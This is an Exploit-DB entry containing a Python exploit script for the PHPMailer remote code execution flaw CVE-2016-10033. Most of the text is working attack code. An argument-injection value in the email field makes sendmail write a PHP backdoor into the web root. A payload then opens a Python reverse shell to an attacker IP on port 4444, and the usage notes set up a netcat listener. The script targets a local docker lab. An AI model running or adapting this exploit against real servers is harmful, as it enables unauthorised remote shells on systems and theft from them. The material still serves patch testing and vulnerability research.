PHPMailer < 5.2.18 - Remote Code Execution (Python)

EDB-ID:

40974




Platform:

PHP

Date:

2016-12-29


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"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033

Description:
Exploiting PHPMail with back connection (reverse shell) from the target

Usage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.py

Video PoC: https://www.youtube.com/watch?v=DXeZxKr-qsU

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""

from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://localhost:8080'
backdoor = '/backdoor.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)